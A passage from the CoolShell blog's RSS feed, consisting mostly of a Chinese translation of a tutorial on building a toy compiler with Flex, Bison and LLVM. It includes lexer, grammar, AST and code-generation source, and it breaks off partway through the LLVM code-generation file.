/&gt;\n&lt;label for=”hotelCheckbox”&gt;Hotels&lt;/label&gt;&lt;input type=&quot;checkbox&quot; id=&quot;hotelCheckbox&quot; onclick=&quot;toggleGroup(&#039;hotel&#039;)&quot; checked=”checked” /&gt;\n&lt;label for=”bridgeCheckbox”&gt;Bridges&lt;/label&gt;&lt;input type=&quot;checkbox&quot; id=&quot;bridgeCheckbox&quot; onclick=&quot;toggleGroup(&#039;bridge&#039;)&quot; checked=”checked” /&gt;\n</pre>\n<p>我们 Google Maps 就绪了，这篇文章讲述了Google Map API中你应该知道的。希望这篇文章对你有帮助。</p>\n<p>文章：<a href=\"http://jeez.eu/2009/10/09/google-maps-from-a-to-z/\" target=\"_blank\">来源</a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px;color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 &#8211; CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n\n<div class=\"wp_rp_wrap  wp_rp_vertical_m\" ><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li ><a href=\"https://coolshell.cn/articles/22398.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2023/02/chatgpt-150x150.jpg\" alt=\"我看ChatGPT: 为啥谷歌掉了千亿美金\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/22398.html\" class=\"wp_rp_title\">我看ChatGPT: 为啥谷歌掉了千亿美金</a></li><li ><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" alt=\"Google Inbox如何跨平台重用代码？\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/12136.html\" class=\"wp_rp_title\">Google Inbox如何跨平台重用代码？</a></li><li ><a href=\"https://coolshell.cn/articles/9508.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2013/04/Google-Person-Finder-150x150.png\" alt=\"PFIF网上寻人协议\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/9508.html\" class=\"wp_rp_title\">PFIF网上寻人协议</a></li><li ><a href=\"https://coolshell.cn/articles/5815.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" alt=\"来信， 创业 和 移动互联网\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5815.html\" class=\"wp_rp_title\">来信， 创业 和 移动互联网</a></li><li ><a href=\"https://coolshell.cn/articles/5701.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" alt=\"SteveY对Amazon和Google平台的吐槽\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5701.html\" class=\"wp_rp_title\">SteveY对Amazon和Google平台的吐槽</a></li><li ><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_thumbnail\"><img src=\"https://coolshell.cn/wp-content/uploads/2011/09/image008-150x150.jpg\" alt=\"一些文章和各种资源\" width=\"150\" height=\"150\" /></a><a href=\"https://coolshell.cn/articles/5224.html\" class=\"wp_rp_title\">一些文章和各种资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/1561.html\">Google Maps API用法教程</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></content:encoded>\n\t\t\t\t\t\n\t\t\t\t\t<wfw:commentRss>https://coolshell.cn/articles/1561.html/feed</wfw:commentRss>\n\t\t\t<slash:comments>6</slash:comments>\n\t\t\n\t\t\n\t\t\t</item>\n\t\t<item>\n\t\t<title>使用Flex Bison 和LLVM编写自己的编译器</title>\n\t\t<link>https://coolshell.cn/articles/1547.html</link>\n\t\t\t\t\t<comments>https://coolshell.cn/articles/1547.html#comments</comments>\n\t\t\n\t\t<dc:creator><![CDATA[Neo]]></dc:creator>\n\t\t<pubDate>Mon, 12 Oct 2009 04:47:18 +0000</pubDate>\n\t\t\t\t<category><![CDATA[C/C++语言]]></category>\n\t\t<category><![CDATA[程序设计]]></category>\n\t\t<category><![CDATA[编译原理]]></category>\n\t\t<guid isPermaLink=\"false\">http://coolshell.cn/?p=1547</guid>\n\n\t\t\t\t\t<description><![CDATA[<p>使用Flex Bison 和 LLVM编写你自己的编译器 原文出处：http://gnuu.org/2009/09/18/writing-your-own-to...</p>\n<p class=\"read-more\"><a class=\"btn btn-default\" href=\"https://coolshell.cn/articles/1547.html\"> Read More<span class=\"screen-reader-text\">  Read More</span></a></p>\nThe post <a href=\"https://coolshell.cn/articles/1547.html\">使用Flex Bison 和LLVM编写自己的编译器</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.]]></description>\n\t\t\t\t\t\t\t\t\t\t<content:encoded><![CDATA[<p><script async src=\"https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-3415450859608158\"\n     crossorigin=\"anonymous\"></script><strong>使用Flex Bison 和 LLVM编写你自己的编译器</strong><br />\n原文出处：<a href=\"http://gnuu.org/2009/09/18/writing-your-own-toy-compiler/\">http://gnuu.org/2009/09/18/writing-your-own-toy-compiler</a></p>\n<h2> 1、介绍</h2>\n<p>我总是对编译器和语言非常感兴趣，但是兴趣并不会让你走的更远。大量的编译器的设计概念可以搞的任何一个程序员迷失在这些概念之中。不用说，我也曾今尝试过，但是并没有取得太大的成功，我以前的尝试都停留在语义分析阶段。本文的灵感主要来源于我最近一次的尝试，并且在这一次中我取得一点成就。</p>\n<p>幸运的是，最近的几年，我参加了一些项目，这些项目给了我在建立编译器上很多有用的经验和观点。另外一件事是，我非常幸运得到<a href=\"http://llvm.org/\">LLVM</a>的帮助。对于这个工具，我不知道改怎么去形容它，但是他给我的这个编译器的确带来非常大的帮助。<br />\n<span id=\"more-1547\"></span></p>\n<h3>1.1、你为什么要阅读本文</h3>\n<p>你也许想看看我正在做的事情，但是更有可能的是，你也是和我一样对编译器和语言非常感兴趣，并且也可能遇到了一些在探索的过程中遇到了一些难题，你可能正打算解决这些难题，但是却没有发现好的资源。本文的目标就是提供这些资源，并以一种手把手的方式教你从头到尾的去创建一个具有基本功能的语言编译器。</p>\n<p>在本文，我不会去解释一些编译器基本理论，所以你要在开始本文前去了解什么是<a href=\"http://en.wikipedia.org/wiki/Backus%E2%80%93Naur_Form\">BNF语法</a>，什么是<a href=\"http://en.wikipedia.org/wiki/Abstract_syntax_tree\">抽象语法树数据结构 AST data structure</a>，什么是基础<a href=\"http://en.wikipedia.org/wiki/Compiler\">编译器流水线 complier pipline</a>。就是说，我会把本文描述的尽量简单。本文的目的就是以一种简单易懂的方式来介绍相关编译器资源的方式来帮助那些从来没有编译器经验的人。</p>\n<h3>1.2、达到的成果</h3>\n<p>如果你根据文章内容一步步来，你将会得到一个能定义函数，调用函数，定义变量，给变量赋值执行基本数学操作的语言。这门语言支持两种基本类型，double和integer类型。还有一些功能还未实现，因此，你可以通过自己去实现这些功能得到你满意的功能并且能为你理解编写一个编译器提供不少的帮助。</p>\n<p><h3>1.3 问题解答</h3>\n</p>\n<h4>1.3.1 我需要了解什么样的语言</h4>\n<p>我们使用的工具是基于C/C++的。LLVM是基于C++的，我们的这个语言也基于C++，因为C++具有很多面向对象的优点和可以被重用的STL。此外对于C，Lex和Bison都具有那些初看起来令人迷惑的语法，但是我将尽可能的去解释他。我们需要处理的语法非常小，最多就100行，因此它是比较容易理解的。</p>\n<h4>1.3.2 很复杂吗？</h4>\n<p>是或否，这里面有很多的东西你需要了解，甚至多的让人感觉到害怕，但是老实说，其实这些都非常简单，我们同样会使用很多工具分解这些层次的复杂性，并使得这些内容可管理。</p>\n<h4>1.3.3 完成它需要多长时间</h4>\n<p>我们将要完成的编译器花了我三天的时间。但是如果你按“follow me”的方式来完成这个编译器的话，你将会花费更少的时间。如果要全部理解这里面的内容可能会花去稍微长一点的时间，但是你至少应该在一个下午就将整个编译器运行起来。</p>\n<p>好，如果你已经准备好，我们开始吧。</p>\n<p><h2>2、准备开始</h2>\n</p>\n<h3>2.1 构成编译器的最基本的要素</h3>\n<p>一个编译器是由一组有三个到四个组件(还有一些子组件)构成，数据以管道的方式从一个组件输入并流向下一个组件。在我们这个编译器中，可能会用到一些稍微不同的工具。下面这个图展示了我们构造一个编译器的步骤，和每个步骤中将使用的工具。</p>\n<p><img decoding=\"async\" loading=\"lazy\" alt=\"Compiler Pipeline\" src=\"http://gnuu.org/wp-content/uploads/2009/09/pipeline.png\" width=\"620\" height=\"76\" /> </p>\n<p>从上图你可以看到在Linking这一步是灰掉的。我们的语言将不支持编译器的连接(很多的语言都不支持编译器的连接)。在文法分析阶段，我们将使用开源工具Lex，即如今的<a href=\"http://flex.sourceforge.net/\">Flex</a>，文法分析一般都伴随者语法分析，我们使用的语法分析工具将会是Yacc，或者说是<a href=\"http://www.gnu.org/software/bison/\">Bison</a>，最后一旦语义分析完成，我们将遍历我们的抽象语法树，并生成我们的&#8221;bytecode 字节码&#8221;，或&#8221;机器码 matchine code&#8221;。做这一步，我们将使用<a href=\"http://llvm.org/\">LLVM</a>，它能生成快速字节码，我们将使用LLVM的JIT(Just In Tinme)来在我们的机器上编译执行它</p>\n<p>总结一下，步骤如下：</p>\n<ol>\n<li><strong>文法分析用<em>Flex</em></strong>:将数据分隔成一个个的标记token (标示符identifiers，关键字keywords，数字numbers, 中括号brackets, 大括号braces, 等等etc.) </li>\n<li><strong>语法分析用<em>Bison</em></strong>: 在分析标记的时候生成抽象语法树. Bison 将会做掉几乎所有的这些工作, 我们定义好我们的抽象语法树就OK了. </li>\n<li><strong>组装用<em>LLVM</em></strong>: 这里我们将遍历我们的抽象语法树，并未每一个节点生成字节/机器码。 这听起来似乎很疯狂，但是这几乎就是<em>最简单的</em> 一步了. </li>\n</ol>\n<p>在我们开始下一步之前，你应该准备安装好Flex,Bison和LLVM。因为我们马上就要使用到它们。</p>\n<p><h3>2.2 定义我们的语法</h3>\n</p>\n<p>我们语法是我们语言中最核心的部分，我们的语法使用类似标准C的语法，因为这样的语法非常熟悉，而且简单。我们语法的一个典型的例子如下：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nint do_math(int a) {\n  int x = a * 5 + 3\n}\n\ndo_math(10)\n</pre>\n<p>看起来很简单。它和C非常相似，但是它没有使用分号做语句的分隔，同时你也会注意到我们的语法中没有return语句。这就是你可以自己实现的部分。</p>\n<p>现在我们还没有任何机制来验证结果。我们将通过检查我们编译之后LLVM打印出的字节码验证我们程序的正确性。</p>\n<p><h2>3、 第一步，使用Flex进行文法分析 </h2>\n</p>\n<p>这是最简单的一步，给定语法之后，我们需要将我们的输入转换一系列内部标记token。如前所述，我们的语法具有非常基础的标记token:标示符identifier ，数字常量(整型和浮点型)，数学运算符号，括号，中括号，我们的文法定义文件称为token.l，它具有一些固定的语法。定义如下：</p>\n<pre>\n%{\n#include <string>\n#include \"node.h\"\n#include \"parser.hpp\"\n#define SAVE_TOKEN yylval.string = new std::string(yytext, yyleng)\n#define TOKEN(t) (yylval.token = t)\nextern \"C\" int yywrap() { }\n%}\n\n%%\n\n[ \\t\\n]                 ;\n[a-zA-Z_][a-zA-Z0-9_]*  SAVE_TOKEN; return TIDENTIFIER;\n[0-9]+\\.[0-9]*          SAVE_TOKEN; return TDOUBLE;\n[0-9]+                  SAVE_TOKEN; return TINTEGER;\n\"=\"                     return TOKEN(TEQUAL);\n\"==\"                    return TOKEN(TCEQ);\n\"!=\"                    return TOKEN(TCNE);\n\"<\"                     return TOKEN(TCLT);\n\"<=\"                    return TOKEN(TCLE);\n\">\"                     return TOKEN(TCGT);\n\">=\"                    return TOKEN(TCGE);\n\"(\"                     return TOKEN(TLPAREN);\n\")\"                     return TOKEN(TRPAREN);\n\"{\"                     return TOKEN(TLBRACE);\n\"}\"                     return TOKEN(TRBRACE);\n\".\"                     return TOKEN(TDOT);\n\",\"                     return TOKEN(TCOMMA);\n\"+\"                     return TOKEN(TPLUS);\n\"-\"                     return TOKEN(TMINUS);\n\"*\"                     return TOKEN(TMUL);\n\"/\"                     return TOKEN(TDIV);\n.                       printf(\"Unknown token!\\n\"); yyterminate();\n\n%%\n</pre>\n<p>在第一节(译者注：即%{%}中定义的部分)声明了一些特定的C代码。由于Bison不会去访问我门的yytext变量，我们使用宏&#8221;SAVE_TOKEN&#8221;来保证标示符的文本和文本长度是安全的(而不是靠标记本身来保证)。第一个token告诉我们要忽略掉那些空白字符。你会注意到我们有些一些等价性比较的标记和其他。还有一些标记还没有实现，你可以非常自由的将这些标记加到你自己的编译器中去。</p>\n<p>现在我们在这里做的是定义这些标记和他们的符号名。符号(比如TIDENTFIER)将成为我们语法中的终结符。我们只是返回它，我们从未定义它，他们是在什么地方定义的？当然是在bison语法文件中。我们包含的parser.hpp头文件将会被bison所生成，并且里面的所有符号都将被生成，并被我们在这里使用。</p>\n<p>我们对这个token.l运行flex命令，并生成tokens.cpp文件，这个程序将会和我们的语法分析器一起编译并提供yylex()函数来识别这些标记。我们将在稍后运行这个命令，因为现在我们需要从bison那里生成头文件。</p>\n<p><h2>4、第2步 使用Bison进行语法分析</h2>\n</p>\n<p>这是我们工作中最富有挑战性的一部分。生成一个正确的无二义的语法并不是一项简单的工作，要经过很多实践努力。庆幸的是，我们例子中的语法是简单而完整的。在我们实现我们的语法之前，我们需要详细的讲解一下我们的设计。</p>\n<p><h3>4.1、设计AST(抽象语法树)</h3>\n</p>\n<p>语法分析的最终结果是抽象语法树AST，正如我们将看到的，Bison生成抽象语法树的最优工具；我们唯一需要做的事情就是将我们的代码插入到语法中去。</p>\n<p>文本形式字符串，例如&#8221;int x&#8221;代表了我们语言的文本形式，和这个类似，抽象语法树AST则代表了我们语言在内存中的表现形式一样(在语言在组装成而进程码之前)。正因如此，我们要在把这些插入在语法分析中的数据结构首先设计好。这个过程是非常直接的，因为我们为语法中的每个语义单元创建了一个结构。方法声明、方法调用，变量声明，引用，这些都构成了抽象语法树的节点。我们语言的抽象语法树的节点如下图：<br />\n<img decoding=\"async\" loading=\"lazy\" border=\"0\" alt=\"Our Toy Language AST\" src=\"http://gnuu.org/wp-content/uploads/2009/09/ClassDiagram.png\" width=\"640\" height=\"505\" /><br />\n上图的C++代码如下：<br />\nnode.h文件</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n#include &lt;iostream&gt;\n#include &lt;vector&gt;\n#include &lt;llvm/Value.h&gt;\n\nclass CodeGenContext;\nclass NStatement;\nclass NExpression;\nclass NVariableDeclaration;\n\ntypedef std::vector&lt;NStatement*&gt; StatementList;\ntypedef std::vector&lt;NExpression*&gt; ExpressionList;\ntypedef std::vector&lt;NVariableDeclaration*&gt; VariableList;\n\nclass Node {\npublic:\n    virtual ~Node() {}\n    virtual llvm::Value* codeGen(CodeGenContext&amp; context) { }\n};\n\nclass NExpression : public Node {\n};\n\nclass NStatement : public Node {\n};\n\nclass NInteger : public NExpression {\npublic:\n    long long value;\n    NInteger(long long value) : value(value) { }\n    virtual llvm::Value* codeGen(CodeGenContext&amp; context);\n};\n\nclass NDouble : public NExpression {\npublic:\n    double value;\n    NDouble(double value) : value(value) { }\n    virtual llvm::Value* codeGen(CodeGenContext&amp; context);\n};\n\nclass NIdentifier : public NExpression {\npublic:\n    std::string name;\n    NIdentifier(const std::string&amp; name) : name(name) { }\n    virtual llvm::Value* codeGen(CodeGenContext&amp; context);\n};\n\nclass NMethodCall : public NExpression {\npublic:\n    const NIdentifier&amp; id;\n    ExpressionList arguments;\n    NMethodCall(const NIdentifier&amp; id, ExpressionList&amp; arguments) :\n        id(id), arguments(arguments) { }\n    NMethodCall(const NIdentifier&amp; id) : id(id) { }\n    virtual llvm::Value* codeGen(CodeGenContext&amp; context);\n};\n\nclass NBinaryOperator : public NExpression {\npublic:\n    int op;\n    NExpression&amp; lhs;\n    NExpression&amp; rhs;\n    NBinaryOperator(NExpression&amp; lhs, int op, NExpression&amp; rhs) :\n        lhs(lhs), rhs(rhs), op(op) { }\n    virtual llvm::Value* codeGen(CodeGenContext&amp; context);\n};\n\nclass NAssignment : public NExpression {\npublic:\n    NIdentifier&amp; lhs;\n    NExpression&amp; rhs;\n    NAssignment(NIdentifier&amp; lhs, NExpression&amp; rhs) :\n        lhs(lhs), rhs(rhs) { }\n    virtual llvm::Value* codeGen(CodeGenContext&amp; context);\n};\n\nclass NBlock : public NExpression {\npublic:\n    StatementList statements;\n    NBlock() { }\n    virtual llvm::Value* codeGen(CodeGenContext&amp; context);\n};\n\nclass NExpressionStatement : public NStatement {\npublic:\n    NExpression&amp; expression;\n    NExpressionStatement(NExpression&amp; expression) :\n        expression(expression) { }\n    virtual llvm::Value* codeGen(CodeGenContext&amp; context);\n};\n\nclass NVariableDeclaration : public NStatement {\npublic:\n    const NIdentifier&amp; type;\n    NIdentifier&amp; id;\n    NExpression *assignmentExpr;\n    NVariableDeclaration(const NIdentifier&amp; type, NIdentifier&amp; id) :\n        type(type), id(id) { }\n    NVariableDeclaration(const NIdentifier&amp; type, NIdentifier&amp; id, NExpression *assignmentExpr) :\n        type(type), id(id), assignmentExpr(assignmentExpr) { }\n    virtual llvm::Value* codeGen(CodeGenContext&amp; context);\n};\n\nclass NFunctionDeclaration : public NStatement {\npublic:\n    const NIdentifier&amp; type;\n    const NIdentifier&amp; id;\n    VariableList arguments;\n    NBlock&amp; block;\n    NFunctionDeclaration(const NIdentifier&amp; type, const NIdentifier&amp; id,\n            const VariableList&amp; arguments, NBlock&amp; block) :\n        type(type), id(id), arguments(arguments), block(block) { }\n    virtual llvm::Value* codeGen(CodeGenContext&amp; context);\n};\n\n</pre>\n<p>非常的清晰明了，我们省略了getter和setter方法，这里只列出了共有成员；这些类也不需要影藏私有数据，并省略了codeGen方法。在我们导出AST成LLVM的字节码时，就需要使用到这个方法。</p>\n<p><h3>4.2、Bison介绍</h3>\n</p>\n<p>bison的语法定义文件同样是由这些标记构成的最复杂的部分。这并不是说技术上有多复杂，但是我也会花一些时间来讨论一下Bison的语法细节，好，现在让我们立刻来熟悉一下Bison的语法。我们将使用基于类似于BNF的语法，使用定义的好终结符和非终结符来组成我们有效的每一个语句和表达式(这些语句和表达式就代表我们之前定义的AST节点)。例如：</p>\n<pre>\nif_stmt : IF '(' condition ')' block { /* do stuff when this rule is encountered */ }\n        | IF '(' condition ')'       { ... }\n        ;\n</pre>\n<p>在上面例子中，我们定义了一个if语句(如果我们支持if语句话)，它和BNF不同之处在于，每个语法后面都跟了一系列动作(在'{&#8216;和&#8217;}&#8217;之间的内容)。这个动作将在此条语法被识别(译者注：归约)的时候被执行。这个过程将会递归地按从叶子符号到根节点符号的次序执行，在这个过程，每一个非终结符最终会被合并为一棵大的语法树。你将会看到的&#8217;$$&#8217;符号代表着当前树的跟节点(译者注：&#8217;$$&#8217;代表本条语法规则中冒号左边的部分的语义内容)。此外&#8217;$1&#8217;代表了本条规则叶子中的第一个符号(译者注：&#8217;$1&#8217;代表了本条语法规则冒号右边的内容，$1代表冒号右边的第一个符号的语义值)。在上面的例子中，当&#8217;condition&#8217;有效时我们将会把$3 赋值给$$。这个例子可以解释如何将我们AST和语法规则关联起来。我们将在每一条规则中通常赋值一个节点到$$，最后这些规则会合并成一个大的抽象语法树。Bison的部分是我们语言最复杂的部分，你需要花一点时间去理解它。此外到此为止，你还没有看到完整的代码。下面就是完整的Bison部分的代码：<br />\nparser.y</p>\n<pre>\n%{\n    #include \"node.h\"\n    NBlock *programBlock; /* the top level root node of our final AST */\n\n    extern int yylex();\n    void yyerror(const char *s) { printf(\"ERROR: %s\\n\", s); }\n%}\n\n/* Represents the many different ways we can access our data */\n%union {\n    Node *node;\n    NBlock *block;\n    NExpression *expr;\n    NStatement *stmt;\n    NIdentifier *ident;\n    NVariableDeclaration *var_decl;\n    std::vector<NVariableDeclaration*> *varvec;\n    std::vector<NExpression*> *exprvec;\n    std::string *string;\n    int token;\n}\n\n/* Define our terminal symbols (tokens). This should\n   match our tokens.l lex file. We also define the node type\n   they represent.\n */\n%token <string> TIDENTIFIER TINTEGER TDOUBLE\n%token <token> TCEQ TCNE TCLT TCLE TCGT TCGE TEQUAL\n%token <token> TLPAREN TRPAREN TLBRACE TRBRACE TCOMMA TDOT\n%token <token> TPLUS TMINUS TMUL TDIV\n\n/* Define the type of node our nonterminal symbols represent.\n   The types refer to the %union declaration above. Ex: when\n   we call an ident (defined by union type ident) we are really\n   calling an (NIdentifier*). It makes the compiler happy.\n */\n%type <ident> ident\n%type <expr> numeric expr\n%type <varvec> func_decl_args\n%type <exprvec> call_args\n%type <block> program stmts block\n%type <stmt> stmt var_decl func_decl\n%type <token> comparison\n\n/* Operator precedence for mathematical operators */\n%left TPLUS TMINUS\n%left TMUL TDIV\n\n%start program\n\n%%\n\nprogram : stmts { programBlock = $1; }\n        ;\n\nstmts : stmt { $$ = new NBlock(); $$->statements.push_back($<stmt>1); }\n      | stmts stmt { $1->statements.push_back($<stmt>2); }\n      ;\n\nstmt : var_decl | func_decl\n     | expr { $$ = new NExpressionStatement(*$1); }\n     ;\n\nblock : TLBRACE stmts TRBRACE { $$ = $2; }\n      | TLBRACE TRBRACE { $$ = new NBlock(); }\n      ;\n\nvar_decl : ident ident { $$ = new NVariableDeclaration(*$1, *$2); }\n         | ident ident TEQUAL expr { $$ = new NVariableDeclaration(*$1, *$2, $4); }\n         ;\n\nfunc_decl : ident ident TLPAREN func_decl_args TRPAREN block\n            { $$ = new NFunctionDeclaration(*$1, *$2, *$4, *$6); delete $4; }\n          ;\n\nfunc_decl_args : /*blank*/  { $$ = new VariableList(); }\n          | var_decl { $$ = new VariableList(); $$->push_back($<var_decl>1); }\n          | func_decl_args TCOMMA var_decl { $1->push_back($<var_decl>3); }\n          ;\n\nident : TIDENTIFIER { $$ = new NIdentifier(*$1); delete $1; }\n      ;\n\nnumeric : TINTEGER { $$ = new NInteger(atol($1->c_str())); delete $1; }\n        | TDOUBLE { $$ = new NDouble(atof($1->c_str())); delete $1; }\n        ;\n\nexpr : ident TEQUAL expr { $$ = new NAssignment(*$<ident>1, *$3); }\n     | ident TLPAREN call_args TRPAREN { $$ = new NMethodCall(*$1, *$3); delete $3; }\n     | ident { $<ident>$ = $1; }\n     | numeric\n     | expr comparison expr { $$ = new NBinaryOperator(*$1, $2, *$3); }\n     | TLPAREN expr TRPAREN { $$ = $2; }\n     ;\n\ncall_args : /*blank*/  { $$ = new ExpressionList(); }\n          | expr { $$ = new ExpressionList(); $$->push_back($1); }\n          | call_args TCOMMA expr  { $1->push_back($3); }\n          ;\n\ncomparison : TCEQ | TCNE | TCLT | TCLE | TCGT | TCGE\n           | TPLUS | TMINUS | TMUL | TDIV\n           ;\n\n%%\n</pre>\n<p><h2>5、生成Flex和Bison代码</h2>\n</p>\n<p>现在我们有了Flex的token.l文件和Bison的parser.y文件。我们需要将这两个文件传递给工具，并由工具来生成c++代码文件。注意Bison同时会为Flex生成parser.hpp头文件；这样做是通过-d开关实现的，这个开关是的我们的标记声明和源文件分开，这样就是的我们可以让这些token标记被其他的程序使用。下面的命令创建parser.cpp，parser.hpp和tokens.cpp源文件。</p>\n<pre>\n$ bison -d -o parser.cpp parser.y\n$ lex -o tokens.cpp tokens.l\n</pre>\n<p>如果上述工作都没有出错的话，我们现在位置已经完成了我们编译器工作总量的2/3。如果你现在想测试一下我们的代码，你可以编译一个简单的main.cpp程序：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n#include &lt;iostream&gt;\n#include &quot;node.h&quot;\nextern NBlock* programBlock;\nextern int yyparse();\n\nint main(int argc, char **argv)\n{\n    yyparse();\n    std::cout &lt;&lt; programBlock &lt;&lt; endl;\n    return 0;\n}\n</pre>\n<p>你可以编译这些文件：<br />\n$ g++ -o parser parser.cpp tokens.cpp main.cpp<br />\n现在你需要安装LLVM了，因为llvm::Value被node.h引用了。如果你不想这么做，只是想测试一下Flex和Bison部分，你可以注释掉node.h中codeGen()方法。</p>\n<p>如果上述工作都完成了，你现在将有一个语法分析器，这个语法分析器将从标准输入读入，并打出在内存中代表抽象语法树跟节点的内存非零地址。</p>\n<h2>6、组装AST和LLVM</h2>\n<p>编译器的下一步很自然地是应该将AST转换成机器码。这意味着将每一个语义节点转换成等价的机器指令。LLVM将帮助我们把这步变得非常简单，因为LLVM将真实的指令抽象成类似AST的指令。这意味着我们真正要做的事就是将AST转换成抽象指令。<br />\n你可以想象这个过程是从抽象语法树的根节点开始遍历每一个树上节点并产生字节码的过程。现在就是使用我们在Node中定义的codeGen方法的时候了。例如，当我们遍历NBlock代码的时候(语义上NBlock代表一组我们语言的语句的集合)，我们将调用列表中每条语句的codeGen方法。上面步骤代码类似如下的形式：</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\nValue* NBlock::codeGen(CodeGenContext&amp; context)\n{\n    StatementList::const_iterator it;\n    Value *last = NULL;\n    for (it = statements.begin(); it != statements.end(); it++) {\n        std::cout &lt;&lt; &quot;Generating code for &quot; &lt;&lt; typeid(**it).name() &lt;&lt; endl;\n        last = (**it).codeGen(context);\n    }\n    std::cout &lt;&lt; &quot;Creating block&quot; &lt;&lt; endl;\n    return last;\n}\n</pre>\n<p>我们将实现抽象语法树上所有节点的codeGen方法，然后在向下遍历树的时候调用它，并隐式的遍历我们整个抽象语法树。在这个过程中，我们在CodeGenContext类来告诉我们生成字节码的位置。</p>\n<p><h3> 6.1、关于LLVM要注意的一些信息</h3>\n</p>\n<p>LLVM最大的一个确定就是，你很难找到LLVM的相关文档。在线手册、教程、或其他的文档都没有及时的得到相关维护，这些文档大部分都是过期的文档。除非你去深入研究，否则你很难找到关于C++ API的信息。如果你自己安装LLVM，docs<br />\n是最新的文档。</p>\n<p>我发现最好学习LLVM的方法就是通过LLVM的例子去学习。在LLVM的压缩包的&#8217;example&#8217;目录下有很多快速生成字节码的例子。在<a href=\"http://llvm.org/demo/\">LLVM demo site</a>上可以将C做输入，然后生成C++ API的例子。以这些例子提供的方法，我找到了类似于int x = 5 ;的指令的生成方法。我使用这些工具实现大部分的节点。</p>\n<p>关于LLVM的问题描述到此为止，我将在下面罗列出codegen.h和codegen.cpp的源代码</p>\n<p>codegen.h的内容。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n#include &lt;stack&gt;\n#include &lt;llvm/Module.h&gt;\n#include &lt;llvm/Function.h&gt;\n#include &lt;llvm/PassManager.h&gt;\n#include &lt;llvm/CallingConv.h&gt;\n#include &lt;llvm/Bitcode/ReaderWriter.h&gt;\n#include &lt;llvm/Analysis/Verifier.h&gt;\n#include &lt;llvm/Assembly/PrintModulePass.h&gt;\n#include &lt;llvm/Support/IRBuilder.h&gt;\n#include &lt;llvm/ModuleProvider.h&gt;\n#include &lt;llvm/ExecutionEngine/GenericValue.h&gt;\n#include &lt;llvm/ExecutionEngine/JIT.h&gt;\n#include &lt;llvm/Support/raw_ostream.h&gt;\n\nusing namespace llvm;\n\nclass NBlock;\n\nclass CodeGenBlock {\npublic:\n    BasicBlock *block;\n    std::map&lt;std::string , Value*&gt; locals;\n};\n\nclass CodeGenContext {\n    std::stack&lt;codegenblock  *&gt; blocks;\n    Function *mainFunction;\n\npublic:\n    Module *module;\n    CodeGenContext() { module = new Module(&quot;main&quot;); }\n\n    void generateCode(NBlock&amp; root);\n    GenericValue runCode();\n    std::map&lt;std::string , Value*&gt;&amp; locals() { return blocks.top()-&gt;locals; }\n    BasicBlock *currentBlock() { return blocks.top()-&gt;block; }\n    void pushBlock(BasicBlock *block) { blocks.push(new CodeGenBlock()); blocks.top()-&gt;block = block; }\n    void popBlock() { CodeGenBlock *top = blocks.top(); blocks.pop(); delete top; }\n};\n</pre>\n<p>codegen.cpp的内容。</p>\n<pre data-enlighter-language=\"c\" class=\"EnlighterJSRAW\">\n#include &quot;node.h&quot;\n#include &quot;codegen.h&quot;\n#include &quot;parser.hpp&quot;\n\nusing namespace std;\n\n/* Compile the AST into a module */\nvoid CodeGenContext::generateCode(NBlock&amp; root)\n{\n    std::cout &lt;&lt; &quot;Generating code...\\n&quot;;\n\n    /* Create the top level interpreter function to call as entry */\n    vector&lt;const type*&gt; argTypes;\n    FunctionType *ftype = FunctionType::get(Type::VoidTy, argTypes, false);\n    mainFunction = Function::Create(ftype, GlobalValue::InternalLinkage, &quot;main&quot;, module);\n    BasicBlock *bblock = BasicBlock::Create(&quot;entry&quot;, mainFunction, 0);\n\n    /* Push a new variable/block context */\n    pushBlock(bblock);\n    root.codeGen(*this); /* emit bytecode for the toplevel block */\n    ReturnInst::Create(bblock);\n    popBlock();\n\n    /* Print the bytecode in a human-readable format\n       to see if our program compiled properly\n     */\n    std::cout &lt;&lt; &quot;Code is generated.\\n&quot;;\n    PassManager pm;\n    pm.add(createPrintModulePass(&amp;outs()));\n    pm.run(*module);\n}\n\n/* Executes the AST by running the main function */\nGenericValue CodeGenContext::runCode() {\n    std::cout &lt;&lt; &quot;Running code...\\n&quot;;\n    ExistingModuleProvider *mp = new 